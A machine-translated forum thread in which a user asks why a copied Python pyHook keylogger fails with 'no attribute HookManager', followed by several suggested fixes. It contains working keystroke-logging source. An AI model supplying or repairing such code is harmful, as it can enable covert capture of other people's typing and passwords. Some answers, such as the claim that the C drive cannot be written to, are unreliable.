无属性 'HookManager'

No attribute 'HookManager'

我正在从该视频中复制键盘记录器:(https://www.youtube.com/watch?v=8BiOPBsXh0g) 和 运行 代码:

    import pyHook, sys, logging, pythoncom

    file_log = 'C:\Users\User\Google Drive\Python'

    def OnKeyboardEvent(event):
        logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
        chr(event.Ascii)
        logging.log(10, chr(event.Ascii))
        return True

    hooks_manager = pyHook.HookManager()
    hooks_manager.KeyDown = OnKeyboardEvent
    hooks_manager.HookKeyboard()
    pythoncom.Pumpmessages()

这个returns错误:

    Traceback (most recent call last):
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in  <module>
        import pyHook, sys, logging, pythoncom
      File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
        hooks_manager = pyHook.HookManager()
    AttributeError: 'module' object has no attribute 'HookManager'

我是 运行 Python 2.7.11 和一台 windows 电脑。 我不知道问题是什么;请帮忙。 谢谢

我仍然不确定问题出在哪里,但我找到了解决方案。 如果您将您尝试 运行 的程序移动到与 HookManager.py 文件相同的文件夹中,那么它就可以工作。

对我来说,这个文件是: C:\Python27\Lib\site-packages\pyHook

兄弟这行写错了

file_log = 'C:\Users\User\Google Drive\Python'

由于系统不允许您的程序写入 'C' 驱动器,您应该使用其他路径,例如 'D' 驱动器或 'E' 驱动器等。下面。

file_log = 'D:\keyloggerOutput.txt'

我找到了解决方案。如果您打开 HookManager.py 并将所有 'key_hook' 个单词更改为 'keyboard_hook',则不会再出现错误

在 Python 3.7 上使用压缩文件 pyWinhook-1.6.1.zip 安装 pyWinhook-1.6.1 后出现相同的消息错误。 在应用程序文件中,我将导入语句:“import pyWinhook as pyHook”替换为 "from pywinhook import *"。然后问题就解决了。